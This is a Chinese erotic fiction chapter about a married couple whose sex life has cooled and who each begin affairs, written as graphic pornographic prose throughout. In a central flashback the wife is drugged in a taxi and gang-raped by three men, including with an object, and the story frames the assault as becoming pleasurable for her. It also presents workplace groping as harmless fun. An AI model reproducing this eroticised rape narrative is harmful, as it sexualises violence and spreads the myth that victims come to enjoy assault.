图片载入中

群爱之快乐人生 一

特大字】 【大字】 【中字】 【小字

已是凌晨一点,秦坚静静地靠在床头,感觉还是没有一丝困意。他借着窗外 透入的路灯光看着身边已熟睡的老婆雅琳,雅琳平躺着,从睡衣一边露出一只白 皙小巧的乳房,秦坚伸手过去抚摸它,乳房软软的在手中滑动,乳头渐渐硬起。

秦坚左手摸着自己的阳具,右手探向雅琳的下身,顺着她多毛的阴阜摸索到 两片微微张开的阴唇,手指轻轻探入抽动,一丝阴液粘在手指上,秦坚缓缓捋动 阳具,许久下体却无一丝情欲升起,雅琳轻哼一声翻过身仍沉沉睡着。

秦坚轻轻起身来到卫生间,在黑暗中点燃一只烟。唉,这种情况已有很长一 段时间了,秦坚不清楚自己的心理起了什么样的变化,还或是与婚龄有关,面对 雅琳的身体总是没有想做爱的欲望,这具诱人的肉体从破处女之身至今,秦坚已 经在她里面发泄了七年了,慢慢的彼此再也没有往昔对性爱的那股热情。

还是没新鲜感了呀,要不怎么自己玩了几次小姐每次都是性欲高昂,干得小 姐们哭爹喊妈。唉!秦坚灭掉香烟扯了块纸巾,闭上眼,一边捋动着阳具,脑海 中显现出早间看过的毛片中的情景—一个漂亮女子与两名男子裸身相对,两名男 子轮换着把阳具送入女子口中,女子淫荡的一脸媚笑,在唇齿间吮吸着阳具,细 细的舌头起劲在勃起的阳具上勾舔。

一强壮男子将手指探入女子阴穴轻轻抽动并带出一丝光亮的粘液,另外一个 男子使劲揉捏着女子的乳房。女子低声呻吟着————躺在床上的女子高举双腿, 身上强壮男子伏身将阳具插入女子阴穴猛烈冲顶,另一男子则在一旁继续在女子 口中抽送着阳具。

女子的呻吟声与男子的喘息声激荡在一起————秦坚捋动着自己勃起的阳

具,幻想中那个阴穴大开被强壮男子的阳具猛力抽送的女子变成了雅琳,秦 坚站在一旁,硬硬的阳具被一脸淫色的雅琳吞入口中吮吸。强壮男子把雅琳翻转 从她身后插入,并快速冲顶着,双手前伸捏着雅琳的乳头用力拉扯,雅琳大声呻 吟着,脸上露出一种既痛苦又快乐的表情。

终于在一阵猛烈的动作后,男子从雅琳阴穴中拔出阳具,一把推倒雅琳并把 阳具送至她唇边放射,白色的精液射在雅琳的脸上、口中,雅琳伸手握着男子还 在颤动的阳具放入口中,吮吸着未流尽的精液,一脸满足状————秦坚兴奋地 快速捋动着阳具,从小腹传来的阵阵快感充满全身,阳具一阵抽搐后精液猛地射 出,舒解!

擦干净阳具,秦坚轻轻回到到卧室,上床挨着仍在沉睡的雅琳,带着一丝快 感和倦意睡去。

雅琳一早醒来,扭脸看看还在朦胧之中的老公,定了定神,叹了口气,心想 又是这样无趣的过了一夜,这样的日子几时才能结束啊,真是怀念过去那些充满 激情的夜晚,那么的心醉神迷。她摇摇头,起身下床做好早餐后上班去了。

雅琳在一家大型百货商城做主管。早班安排完工作例会后,像往常一样从在 服务台后翻看着前一天的预定和销售记录。同事老吴走了过来,他四十多岁,是 商城的安保负责人,他站在雅琳身侧笑着对雅琳说:“嗨,看你一点精神都没有, 昨晚准又和老公干了半宿,瞧今天你的胸格外大。”一边说着一边把手摸向雅琳 的乳房,“一边去,别弄脏我的工作服。”雅琳轻叱着把老吴的手挡开。老吴笑 着说:“还不好意思呀,又不是没摸过,好了,我走了。”说着转身上楼走了。

雅琳呆坐在椅中,其实老吴的举动她并不在意,本身雅琳就是个天性烂漫的 女人,平时与男同事开个荤玩笑,动动手瞎摸摸也是常事,可今天她却无心与老 张开玩笑,心里为老公这段时间在床上的冷漠感到困惑并烦恼不已。她想,是不 是因为那件意外事件后,自己多次拒绝老公的求欢导致的,可不久以后不是又恢 复了正常的性生活吗?为了什么呀,雅琳思绪万千,不由得回忆起那件不堪忆起 的事件。

半年前,老公出差了,雅琳因为组里盘点晚上下班后已是十一点了,她在街 上等了许久都没打上车。正在她焦急时,一辆的士停在她身旁,雅琳惊喜上前, 司机打开副手座侧车门让雅琳上车,雅琳上车后连连称谢时却目光一扫,惊讶的 发觉车后座上还坐着两名男子,司机察觉到了雅琳的不安,忙解释是因为天晚不 好打车,看雅琳孤身一人不安全,和两位乘客商量后才拉上雅琳的,并且提议所 有人的车费都减半。雅琳听后稍稍安心,感激的冲后座两人点头示谢。

报出地址后雅琳的大脑又沉浸在刚刚没完成的工作中。车行驶在越来越黑的 道路上,没过多久雅琳身子感觉一震,车停下了,到家了吗?她心想,透过车窗 她却看到一处陌生的街道,正当她将狐疑的目光转向司机时,一条手帕从后面捂 住了雅琳的口鼻,一股异香吸入后,她顿时人事不知。

不知过去了多久,雅琳渐渐恢复了意识,她感觉乳房被一双粗硬的手使劲捏 揉,一根硬硬的阳具正在自己阴穴里有节奏的抽动着,并伴有因为阴穴干涩带来 的痛疼感。雅琳闭着眼心想:这个淘气老公,又在干这半夜偷袭的事。她伸手想 去爱抚男人的身体,却感到手被什么东西绑在了头顶,雅琳猛得一惊,心想不对, 老公出差刚走呀,慌忙睁开眼,朦胧中看到面前有三个男子,这一下惊的她差点 又昏厥过去。迷惑中雅琳渐渐回忆起下班时发生的事,正在此时,忽听身上用阳 具插在自己阴穴的男子用带有很重鼻音声音说:“嗨,看样子她快醒了,还是蒙 上她的眼吧,省得看见了咱们的脸还得废劲把她做了。”听到这话,雅琳吓得一 声不敢吭,不久旁边有人过来用毛巾绑住了雅琳的眼睛。

漆黑中雅琳一边痛苦的承受着身上男人的强奸,边屏息听着男人们的对话。

“我操,小逼还真紧,瞧这小娘们的脸蛋和身段真不错。”身上的重鼻音一 边用力在雅琳干涩的阴穴里抽送阳具一边说。“可不是吗,还是我眼神好,老远 我就瞄上了她,这样的美女平时都少见,更别说让咱们弟兄玩儿了。”一个公鸭 嗓在一旁起劲的揉捏着雅琳的乳房一边说着。“少、少说点废话吧,你、你快点, 我都快憋、憋不住了。”一个说话结巴的男人在另一侧催促道。

完了,雅琳心想,今天是免不了被轮奸的可怕命运了,这可怎么办,有了这 种耻辱,让自己以后怎样去面对深爱的老公啊。身上重鼻音越来越快的猛力抽插 着自己的阴穴,龟头刮擦着干涩的阴道内壁所带来的痛疼和心头涌上的巨大屈辱 感使雅琳不禁泪水长流,低声啜泣起来。

“操,小娘们醒了,嗨!哭什么,哥哥操的不舒服啊,放松点,一会儿哥几 个准保让你爽透了。”雅琳两条白嫩的长腿被重鼻音夹在腋下,身子被阳具冲顶 的一纵一纵的。“我操,我要射了,正好把小逼润滑润滑。”随着身上男子的阳 具在自己阴穴里奋力一顶,雅琳感觉到一股热热的液体冲击着阴道内壁,不由自 主的啊了一声,这还是生平第一次被老公之外的男人在自己身体里射精,雅琳心 里不禁升起一种莫名的兴奋。

还没等到她反应过来,一条细长的阳具一下子插了进来,并直低雅琳阴穴深 处花心。“别、别说,还真是操、操着舒服。”结巴与重鼻音换了位,一边赞叹 着雅琳身子的柔软,一边放情地用细长的阳具在女人阴穴里抽送。雅琳觉得这次 阳具的插入并没有带来痛楚,真或许是重鼻音射入的精液起到了润滑的作用,现 在插在自己阴穴里细长的阳具像一根探棒,左一下右一下的戳弄着,雅琳阴穴内 壁感觉很舒服,更要命的是它每一次的深深插入都触到了阴穴最里面的子宫口, 这使雅琳感到一丝丝压抑不住的快感从花心像水波一样荡漾到全身。同时,她一 对白嫩的乳房不停的被公鸭嗓的粗手搓弄,两颗柔嫩乳头被吮吸到男人嘴里扯动 轻咬,这也同样带给了她强烈的刺激。虽然雅琳还算清醒的意识还在抗拒着男人 们的侵犯,可她的身体已经不由自主的被这充满新鲜刺激的快感左右了,渐渐地, 雅琳轻扭身体,两腿开合,并开始无意识地配合起男人的动作,嘴里低低的啜泣 也已变成了愉快的呻吟声。

“怎么样,还、还是我操的小娘们舒服吧,瞧,她不、不哭了。”结巴已经 感觉到身下的女人有了变化,得意的更加起劲的猛烈撞击女人的阴穴。“你说这 乳房是怎么长的,真是白嫩水滑,真想拿刀割下来吃了。”公鸭嗓一边对雅琳的 乳房赞叹着,又转脸对结巴说:“你这小鸡巴还真能干,快点射了吧,爽一下得 了,该换哥哥操她了。”结巴急道:“别、别他妈催我,噢不行了。”此时的雅 琳正被情欲的波浪一波波冲向快乐的顶峰,正在她已陶醉其中时,身上的结巴却 一下的瘫在她身上,阳具软软的滑出了阴穴。雅琳感到一阵空虚,为那还没完全 到来的性高潮急得想要大叫,这时一条更加粗壮的阳具急冲进来,进到阴穴里就 快速不停顿的左突右冲,雅琳随即兴奋地大声吟叫起来。

“小娘们,挨操舒服不舒服。”

“噢,舒服,唉哟,好,使劲操我!”

“嘿嘿,怎么样,哥几个的鸡巴硬不硬。”

“唉哟,硬,唉哟,我喜欢大鸡巴操我。”雅琳忘情的答着身上男人的浪语, 感到一阵阵难以抗拒的快感浸遍全身,随着男人阳具又一波猛力的抽送,雅琳只 觉脑子里一下变成一片空白,性欲的高潮把自己的身体一下抛到了空中变成一根 轻柔的羽毛在飘荡,不禁忘情的大声呻吟着————不知什么时候手已经被放开 了,雅琳在漆黑中享受着男人们的手贪婪地揉捏自己的身体,以及身上男人硬挺 阳具在自己阴穴里的抽送所带来的快乐。一根有些腥臭的阳具顶在嘴边,雅琳忘 情的伸手握住并送入口中使劲吮吸着。

“我操,嘬的我真舒服,噢,好舒服,比操你的小逼还爽。”

“怎么样,小娘们,说说,你在干什么?”

“唉哟——噢!我在让男人操。”

“让什么操。”“大,啊哟,大鸡巴操。”

“操你哪儿”“大鸡巴操我的逼,唉哟。”

一个男人从身上爬下去,另一个男人又爬上来。雅琳感受到阴穴里涨涨的, 一波波的高潮升起又落下,同时她也完全忘记了自己身处何境,只是嘴里愉悦的 呻吟着,双手抚摸着身上男人的肌肤,扭动身体配合着男人们对自己阴穴的进攻。

时间一分分过去了,男人们仍旧不知疲倦的,运用各种姿式享用着女人的肉 体,雅琳或躺着或跪趴着,随便男人们的摆布,但现在她感到阳具在她越来越肿 涨的阴穴疯狂抽送,带来的已不是欢愉而是痛疼了,不禁嘴里发出痛苦的呻吟与 央告。

重鼻音从雅琳阴穴里抽出软软的阳具起身喘息着,雅琳也在喘息着,等了一 会儿感觉不再有男人压上来,心里稍稍轻松了,心想终于要结束这场性交大战了, 却忽听公鸭嗓惊诧地问道:“嗨,你小子拿根秋黄瓜干嘛?”“你、你们俩都操、 操了她两回,我不行,拿这个替我凑、凑回数。”结巴答道。雅琳还没明白过味 来,肿涨的阴穴又被手粗暴的拔开,一根凉凉的粗硬东西硬被插了进来,雅琳痛 苦的大叫着,挣扎着想要起身,可同时伸过来的四只手把她牢牢地按在床上。

雅琳大声尖叫着,结巴快速地在她阴穴里抽送着那根粗硬的秋黄瓜,她感觉 自己的身体每一部分不是火热的,就是沉沉的、涨涨的,心里害怕会被这样一直 弄死,可慢慢的,她忘记了疼痛,那不是疼痛了,而是一种奇怪的、邪门的欢愉, 她的尖叫声音已变了调。雅琳觉得她现在已经不是乞求怜悯,而是在乞求性的发 泄。男人们使劲搬扯着她的大腿,起劲的捏扯着她的乳头,快速的在她阴穴里抽 动凶具。终于,雅琳感到自己像是一下子被抛入了火海,身体的每个部分都热血 翻滚,烈焰熊熊,痛苦伴着愉快,屈辱伴着兴奋,在极度升腾后一下了暴发了, 她唿号着,狂颠乱倒的身体扭曲瘫痪在床上。

在迷乱的意识中,雅琳麻木的被穿上衣服,被扶持上车,被抛到街上。雅琳 独自站在街上,渐渐的意识又回复到了体内,感觉出内裤是反穿着的,一股股粘 粘的精液不住的从阴穴里溢出并顺着大腿流下来。她拉下绑在眼上的毛巾,抬着 沉重的脚步回到了家,泡在浴盆里她使劲搓洗着身体,无声的哭泣。

她请了两天病假,整在床上躺了二天一夜。第三天老公回来了,在床上她畏 惧但又坚决的一次次拔开老公伸向自己下体的手,谎称身体不舒服,直到五天后 才放老公上了自己的身发泄了欲望。日子一天天过去了,生活又恢复了原来的状 态,可是老公却不知为何在床上总是冷冷的,无论自己如何暗示对性生活的渴望 老公都无动于衷,可自己才三十岁,正是对性爱极度要求的虎狼之岁,这可怎么 办呀!雅琳从在椅中思绪万千,在混混然中挨到了下午班。

黄远百无聊赖的坐在自己的老板椅中,看着窗外自己修车厂空空的大院,叹 道生意真是冷清啊。他随手从桌子拿起手机翻看着短信,一封发自昨晚十点半的 祝福短信吸引了黄远的眼球,是过去的同事雅琳发来的。过去在一起时,黄远曾 深深被雅琳白皙苗条的身材,漂亮的容貌所吸引,平时也兄妹相称互有好感,只 是当时黄远正在攀着一门官宦门弟女孩,只能忍痛选择后者,但婚后与老婆李婷 貌合神离的生活以及她的放荡令黄远后悔不迭,此时看到雅琳的短信不禁心里一 动,心想她这么晚发短信给我,莫非她也是过得不开心?假若能乘虚而入圆了当 年的梦就好了。黄远拿起手机拔通了雅琳的手机。

“喂,雅琳你好,我是黄远。”

“嗨你好,你这个大忙人怎么想起给我打电话了。”

“今天工作不忙,好久不见面了,你还好吗?”

“还行,有什么事吗?我现在还在班上。”

“也没什么事,晚上请你吃饭,聊会天好吗。”

雅琳沉吟了一下说:“好,在哪碰面?”

“六点半我开车去接你吧。”

“不用,一下班我打你手机。”

“那好,不见不散。”

放下手机,雅琳深思着,多少天了,总想找个人说说自己的苦恼,却不知向 谁倾诉,虽然黄远也不算是合适的人选,并且与老公相比他要显得粗鄙许多,但 毕竟过去相处时关系还算不错。雅琳看了看表,四点四十,起身找到副总慌称有 事要早走,准假后她来到街上,先给老公打电话说晚上有同事过生日,单位要例 行请客祝贺,随后便拔通了黄远的手机。不一会儿黄远开车过来了,雅琳上了车 笑着问道:“在哪请我呀,大老板。”

“你就跟着我走吧。”

“跟着你走,可别把我拐卖了。”

“我才舍不得卖哪,你这么漂亮,我自己还留着享用呢。”

“去你的,”说着雅琳轻轻拍了下黄远的大腿,两人开心的笑着。

车停在了东城区一家酒楼门前,下了车雅琳跟随黄远进去,一直上到顶楼, 黄远推开一间厅房的门请雅琳进去,雅琳进门一看,却是一间装饰豪华的KTV 厅房,大沙发前的茶几上摆满了菜肴和一瓶红酒,暗红色的灯光下使室内充满着 浪漫的气息。雅琳心里一酸,想老公很久没和自己好好浪漫一回了,平时只顾自 己玩,好吧,今天我也要痛快地玩一回。

“快请坐下,今天我们好好喝一杯,叙叙旧。”黄远说着帮雅琳把短外套脱 下挂在衣架后双双入坐。几杯红酒下肚,雅琳说起老公的冷漠,不由得泪出眼眶。

黄远心想,怨妇最好得手,今天真是好机会,能圆了自己的心愿了。他用手 轻抚雅琳裸露的肩头,眼睛瞄着雅琳胸衣露出的一片白嫩肌肤,说道:“别伤心 了,其实大多数夫妻都是如此,结婚年头多了,就没有新鲜感了,哥哥我劝你还 是别放在心上,自己多找些开心的事去做,不去想他,来,咱们跳支舞。”说着 拉雅琳起身,伴着厅内悠扬的音乐,偎依在一起轻轻舞着。

雅琳被黄远搂在怀里,闻着男人的气息,在轻轻的旋转中心头轻荡,不觉有 些陶醉其中。突然被黄远搂着的腰一紧,同时黄远的嘴唇压了上来,雅琳本能的 要推开黄远,但被牢牢抱住,唇间黄远温热的舌头探了进来,久未曾被男人爱抚 的雅琳心里还在抗拒,但身体已经瘫软了。黄远吮吸着雅琳的双唇,舌头顶入与 女人的舌头缠绵在一起,他用手掀起雅琳的文胸,摸索着雅琳柔软的乳房和已硬 起的乳头,“不,不,我们别这样,不好。”最后一丝理智让雅琳还在抗拒,但 她却感觉到一股温热的体液从阴穴中流到了内裤上。“我们都活得太辛苦,雅琳, 让我们放纵一回吧。”黄远一边说一边撩起雅琳的短裙,用手探进内裤,入手一 片湿润。雅琳呻吟着,身子一抖,紧紧偎入黄远怀里。

黄远抱起已是神智迷乱的雅琳放在长沙发上,轻轻褪去雅琳的衣服后迅速脱 光自己。雅琳在迷乱中还保有着一份羞涩,毕竟这是第一次真正面对除老公外的 男人裸体,但在她心底早已隐含着的对陌生异性肉体的渴望使她完全开放了。黄 远俯视着面前这具白嫩诱人的身体,阳具早已是青筋暴胀,他低头使劲吮吸着雅 琳的乳头,双手抚摸着她光滑的肌肤,雅琳低声呻吟着,紧紧抱住黄远。两具躯 体如虫般扭曲在一起,雅琳在黄远时尔轻缓时尔粗暴的抚弄下,身体泛起阵阵情 欲的波浪。她伸手握住黄远挺立的阳具,细看也并没有老公的粗壮,但偷情的刺 激使她忘掉了一切,她一边捋动着阳具一边把它放在已是汁液淋淋充满渴望的阴 穴前,黄远顺势把阳具轻轻插入雅琳的阴穴,顿了一顿后猛的抽出又使出全力狠 狠冲进去,雅琳混身一震,随即大声呻吟起来。

黄远高架起雅琳两条白玉般嫩腿,一支撑身体,一手抚弄捏扯着她的乳头, 阳具在雅琳阴穴中迅速抽送,满意的聆听着女人的动人呻吟。雅琳抬起头看着男 人的阳具猛力的在自己阴穴中进出,一股股强烈的快感涌遍全身,倒底是不同的 男人还是因为不同的阳具才有的这样强烈的刺激,此刻她已是完全弄不清了,只 知道扭动盘旋着臀部奋力迎送着男人急剌的阳具。

“我操,雅琳,你的小逼裹得我的鸡巴真舒服,噢,看,这是我黄远的鸡巴 在操你。”

“啊——唉哟,我喜欢大鸡巴操我,唉哟。”

“雅琳,我早想这样狠狠操你了,我喜欢操你。”

“哎呀——噢,我也想,用力,使劲操我——”

黄远翻转雅琳的身体,抚着女人白嫩的臀部,伏下身亲吻雅琳的阴穴。雅琳 大声的呻吟着,上身软软的伏在沙发上,臀部高高翘起,黄远捋着阳具对准毛丛 中的狭洞猛地插入,开始新一轮的冲刺。但没过多久,新鲜的刺激令黄远感觉要 收不住外溢的精液了。

“噢,雅琳,宝贝,我要射了,不会让你怀孕吧。”

“啊——啊不会,射吧,我上环了,唉哟插的深些。”

“宝贝,我要射进去了,噢,我操。”

“啊——啊——使劲,使劲操我,唉哟,来吧,把你的精液射到我的逼里。”

伴随着猛烈注入雅琳体内的精液,黄远脑子中感到一片空白,强烈的快感使 他不禁低吼一声,随即搂着同样在快感中颤抖的雅琳瘫倒在沙发上。

过了许久,雅琳抬起有些酸软的双腿,伏在黄远胸前吻了下他的唇,又低头 看了看软软的搭在自己小腹上的那条带给自己快乐的阳具,叹了一口气,说道: “咱们真是疯了。”黄远看着躺在自己怀里的这具白嫩诱人的躯体,和与自己黑 粗的双腿缠在一起的修长玉腿,以及正在抚弄着自己阳具的小手,一股巨大的满 足感涌上心头。他翻身又把雅琳压在身下,伸手抬起女人晕红的脸说:“宝贝, 今天能得到你,我太高兴了。”说着俯身吮吸起雅琳仍硬挺的乳头。雅琳不由自 主的呻吟着,看着自己的乳房在黄远的手中滑动,乳头被一紧一松的吮吸,刚落 下的快感余韵又从小腹阵阵传来,手中握着的阳具也在自己不觉的捋动中慢慢硬 起来。

黄远从雅琳手中抽出勃起的阳具,伏在女人耳边说:“宝贝,我想再要一回。”

看雅琳只是晕红着脸不语,便分开女人双腿准备插入,雅琳却猛的抬头问: “几点了,我该回去了。”黄远不好强求,只好无奈的起身。雅琳快速的穿好衣 服,重新梳头化妆。看黄远还光身靠在沙发里不动,便俯下脸把黄远还硬硬的阳 具含入口中猛地吮了两下,抬头嗔笑着说:“好了,快送我回去吧,来日方长。”

秦坚看看表,已是晚上九点四十分。心想真让人讨厌的企业关爱,雅琳已参 加过多次这样的同事生日聚会,每次回来都是一身狼狈。秦坚非常讨厌同事间无 拘束的放肆,简直是互相性骚扰,在他自己的公司里他从不允许员工们这样做。

儿子和母亲早已睡下,他洗漱后躺在床上看电视。门响处雅琳带着一脸红晕 进门来,秦坚不悦地说:“又喝酒了吧,快去洗洗你身上别的男人的味。”雅琳 脱下外衣去了浴室,许久后回来轻轻爬上床,“想我了吗?”她问道。秦坚没有 回应,雅琳却爬过来吮吸秦坚的乳头,他对那儿比较敏感,不一会儿小腹便升起 一股热流。秦坚摸索着雅琳睡袍下光裸的下身,轻轻把手指压入她的阴穴,感觉 湿湿的,阴唇也较平时肥厚些。“今天小穴怎么开得这么大?”他问。“让别的 男人弄得呗。”雅琳放开老公的乳头一脸淫色说,同时伸手握住老公的阳具捋动。

这样的玩笑话夫妻二人在床上常说,所以秦坚也并不在意,却也有些点燃了 他的欲望,“操舒服你了吗?”“舒服了,操了我一个多小时。”秦坚把两根手 指插进女人的阴穴里,热热的阴液顺着手指流到手掌上。雅琳猛抖动一下身子呻 吟着,更起劲捋动着男人的阳具,秦坚硬硬地勃起了,他翻身压上雅琳。

秦坚轻抬雅琳早已分得大开的双腿,挺阳具缓缓插入老婆的阴穴。雅琳猛地 抬了下上身,大声呻吟。秦坚慢慢的抽送阳具,感觉也许是不久用身下这个阴穴, 它在比以往紧了些。他俯身看,随着阳具的抽送,女人阴穴里的嫩肉被带出送入, 秦坚开始加大抽插的力度和速度,雅琳娇声轻喘,俩人也开始了同以往一样为了 提高性欲的对话。

“老婆,今天操你的男人鸡巴粗不粗?”

“嗯哟——粗,好粗,啊——顶得我真舒服。”

“操你时他带着套子没有,还是直接射到你逼里了?”

“没有,噢,真好,老公,唉哟,他把精液射到我逼里了。”

“那我可亏了,你得给我补偿补偿。”

“嗯——唉哟,好,我去跟他说,噢——让他送老婆让你操。”

“他老婆漂亮不漂亮?”

“唉哟——漂亮,乳房大,老公,使劲操我,哎呀——”

秦坚把雅琳侧翻过来,架着她一条腿重新插入阳具,在女人汁液淋淋的阴穴 里迅猛的抽送。“行,你明天跟他说,不能让他白操你,明晚把她老婆送过来让 我操一回。”

“行,咱们一起玩,你操他老婆,他操我,在一张床上玩,肉挨肉,噢,老 公,你操得我真舒服。”

秦坚摸索着雅琳被溢出的阴液浸湿的菊眼说:“老婆,今天把你的后庭让我 也用用吧。”

“啊,不,我怕痛,唉哟——,你明晚用他老婆的后庭吧——再说,我还想 留着第一次让别的男人开苞哪。”

“还是让我开吧,两个第一次都归我,有机会也让你尝尝同时被两个鸡巴狠 操的感觉,一个男人操你的逼另一个操你的菊眼,一定让你舒服到极点。”

秦坚的动作越来越快,老婆阴穴里紧紧的腔肉搓得他阳具异常舒服,他拼命 的撞击雅琳的阴穴,使劲捏扯雅琳的乳头,没过多久就感到一股热力从小腹直顶 大脑,滚热的精液像被高压水泵压出般射向雅琳的子宫口,秦坚爽极的闷吼一声, 俯视雅琳,已瘫软如泥。

第二天上午,雅琳坐在办公桌前翻看这两天的销售记录,但一会会儿的思绪 却飘荡到方外之地。刚才在卫生间里,雅琳用纸巾擦拭着还有液体流出的阴穴, 看着纸巾上的液体她心想:这到底是老公的,还是老公和黄远两个人的精液混合 物?心里不觉一荡,阵阵麻酥感传遍全身。

雅琳手里无意识的翻动着报表,心里不禁涌上一种感慨和一份无奈,除了那 次被轮奸,她原以为自己是个贞节烈女,除老公外再不许别的男人碰自己的身体, 却昨日主动与两个不同的男人先后做爱。但是,却意外得到了前所未有的性高潮, 她想:或许是久未接受男人的抚爱,也或许是偷情带来的刺激,昨晚在与黄远性 交过程中从开始被阳具插入就一直快活的如在云中飘荡,而回家再与老公做爱得 到最后那次性高潮时,简直都要快活得晕厥过去。想到这儿雅琳感到一股漫热的 体液不自觉的流到内裤上。

正在雅琳为昨天的事思绪万千时,放在桌子上的手机嗡嗡振动了两声,拿起 一看是一条短信:雅琳,昨日一别我夜不成寐,想你,想你的一切,急盼见到你, 下午能出来吗,我在清雅园小区有一套二居5号楼401室无人知晓,我在那儿 等你,黄远。雅琳放下手机,轻叹一声,心想这太疯狂了,自己真是爱黄远吗, 肯定是不,不过不同男人的阳具给自己带来的生理上的刺激和快乐简直难以抗拒。

怎么办,昨天刚请过假,今天怎么好再找借口,她思索了一下,拿起手机回 了一条短信:今天工作太忙不好出去,后天下午我过去找你,吻你。

上午秦坚外出办事,完事后驱车在回公司途中路过一处新近入住的小区,无 意间瞥了一眼站在小区门口的一位秀丽女子,不禁眼睛一亮,是柳月,曾心仪多 年的女人。她站在那儿似乎有些焦急,脚下大包小包放着一堆东西,她也看到了 秦坚,脸上浮上一片惊喜。秦坚停下车打召唿:“你好柳月,需要帮忙吗?”

“太好了,我采购了些东西,车送到这儿有事先走了,我正愁怎么拿进去。”

柳月兴奋地说。秦坚下车帮她拿了东西随她往小区里走,“入住了吗?”他 问道。

“还没有,只是装修完也买进家具了,我断续的买些生活用品放进去。我还 住在老房,今天多亏遇见你,好久不见了,你一切还好吗?”柳月还是那样快言 快语。

秦坚随着柳月来到她三楼的居室,一路上楼时秦坚紧盯着柳月紧裹在牛仔短 裙里圆滚滚的臀部,裙下圆润修长的小腿以及纤细的脚踝。心想:柳月真是女人 中的上品,尤其是她丰满的胸部实在令人神往,可惜认识时她已名花有主了。一 边想着不觉裆部有些发胀。柳月打开门,与秦坚一同进去放下东西。秦坚环顾室 内,是一套三居室,装饰的十分精致,色彩也很淡雅。柳月深深地看了一眼秦坚, 说:“太感谢你了,看这样装饰怎么样,是我自己设计的。”说着引秦坚参观卧 房,同样,卧房里的装饰和布置也十分典雅,只是色彩更浓烈,有些撩人情欲的 味道。秦坚嘴里赞叹着,回身望着柳月,四目相视许久。柳月脸微微泛着一片红 晕,一双明目紧紧盯着秦坚,诱人的胸部一起一伏。相视无语片刻后,柳月转了 下脸,有些慌乱的说:“我,我再带你去别的房间看看。”说着一转身,却不巧 脚碰在床角身子一歪,秦坚急伸手过去揽住她的身子,顺势搂入怀中,脑子连想 都没想,低头把嘴唇紧紧压在柳月性感的唇上。

俩个人热烈的拥吻着,舌头狂乱地搅拌在一起,久久不愿分开。柳月丰满的 乳房挤压在秦坚胸前揉动着,迷乱中秦坚说:“天哪,我终于吻到了你,这么多 年我一直想着你。”“我也是,我也是!总是想着你却不敢表示。”柳月一双美 丽的大眼睛里流出激动的泪水,与此同时,两个人四只手不停的在对方的身上摸 索着。秦坚感觉自己勃起的阳具快要把裤子撑裂了,急急的把柳月放倒在床上脱 去她的外衣,一瞥之下心里更是猛得一荡,只见柳月火红文胸上滚着黑色蕾丝, 紧裹着一对高挺雪白的乳房,平平小腹下细窄的内裤包显出微隆的阜坡。柳月微 闭双目,眼角犹存泪花,秦坚俯身吻去,伸手解开柳月的文胸,一对雪白的、呈 完美的半球形的乳房跳了出来,两颗如红樱桃股粉嫩的乳头镶嵌在上面,美的令 秦坚不觉为之一窒,秦坚深深地吸了口气,把脸埋入那深深的乳沟,不时伸嘴把 乳头吸进口中。柳月长长的呻吟一声,双手紧紧抓住男人的肩头。秦坚轻轻褪下 她的内裤,视之竟是光洁一片,一根耻毛都没有,两片阴阜闭之白壁无瑕,轻轻 拔开却艳如桃花。秦坚用手指轻轻探入,入手已是汁水涟涟。柳月在秦坚的抚弄 下娇喘嘘嘘,她起身褪下秦坚的内裤,低头一口把雄雄勃起的阳具含入口中。

“噢————”在湿热的口腔里,龟头在柳月柔软舌尖缠绕以及狭窄喉部的 挤压下,秦坚兴奋的哼出声来,太刺激了,他感觉全身的血液都冲向腰间,阳具 也在柳月的吮吸中不断筋肉贲张,他粗野的使劲搓捏着柳月一对丰乳,用力在柳 月嘴里挺动着阳具。过了一会儿,柳月吐出秦坚的阳具,嘴角挂着一丝清亮的粘 液,她翻身爬起来,秦坚仰面躺下,柳月曲身跪在秦坚下体上,抬起臀部左手扶 住秦坚的阳具缓缓纳入她的阴穴中。秦坚抬起头兴奋地细看那吸吮着阳具的蚌唇, 双手握着她的臀部,猛的将粗硬的阳具向上顶去,全根没入。

“啊!”两人同时发出一声愉悦的低吼。柳月晕红着脸颊,轻咬朱唇,娇吟 婉转,美丽惊人。秦坚上挺阳具,柳月下压阴穴,同步速度越来越快越来越默契, 电击般的酥麻更是一阵阵导至两人全身。秦坚向上狂送了一阵,停下动作由女人 在身上肆意摆纵。他一边欣赏着柳月娇美的身姿,一边伸手握住脸前跳动的乳房, 伸嘴吮吸上面那两颗硬硬的乳头。柳月呻吟着用阴穴套弄深深插在里面的阳具, 粉红色的阴唇一收一翻,股股淫水不断顺着阳具流到秦坚的阴毛上、小腹上。

“啊——抱抱我————不行,不行了————”柳月急喘唿唤着,秦坚忙 抬起上身与柳月面对相拥,运足腰力快速地在柳月阴穴里抽送搅动。“唉哟—— ——啊——啊——”柳月放声吟叫着,盘坐在秦坚大腿上的臀部一阵急扭后便把 头抵在秦坚肩头急喘不止。秦坚只觉阳具被阴穴腔肉紧紧裹住,同时怀里的娇躯 瘫软下来。

“——头好晕,我要躺下。”柳月呻吟着说。秦坚抽出阳具扶柳月平躺下, 顿了片断他轻抬柳月双腿架在臂弯,使她微开的阴穴全部展现有眼前,秦坚挺起 兴奋抖动的阳具对准后猛得插入,开始了新一轮如打桩般猛烈的冲撞。

柳月蜷着身子,双眼翻白,呻吟声已由压喉闷吟转为婉转娇啼。秦坚疯狂地 冲顶着柳月的阴穴,速度越来越快,肉体相交发出的“啪啪”声不绝于耳。不知 狂插了多久,柳月的嘴里不停的吟叫着“唉哟,开哪,不行了不行了,我要死了 ——”秦坚狂放的用力搓揉着柳月的双乳,猛然感到阵阵快感如翻山越岭、似腾 云驾雾般越来越高,终于,一股暴发的快感惯通全身,大脑一片空白,与此同时 精泄如注,直冲柳月阴穴花心,秦坚低吼一声瘫伏在柳月颤抖不止的身上。

俩人沉浸在性爱愉悦的余韵中,许久不出一声。秦坚伸臂揽柳月入怀,抚摸 着她微微汗湿的双乳。四目深情相对,秦坚说:“柳月,我今生能与你爱一回, 死而无憾。”“不要这样说,只要你喜欢,你什么时候想要我都行。”柳月把脸 紧紧贴在秦坚脸上激动地说。俩人相拥相偎诉说着绵绵情话,时间也不知不觉逝 去,秦坚摸索到手机看表,已是中午十二点半了。他低头紧紧地吻了下女人的双 唇说:“小月,我该走了。”柳月不甘的嘤咛一声,又偎在秦坚怀里缠绵了一会 儿,才放开紧搂在秦坚腰里的双臂,光身跳下床,雪白坚挺的乳房轻荡,她拿起 秦坚的手机拔通了自己的手机,转身再次投入秦坚的怀抱,轻轻在他耳边说: “记住我的号码,我等着你的电话。”说完送上自己性感柔软的双唇。深深一吻 后,秦坚离开了。

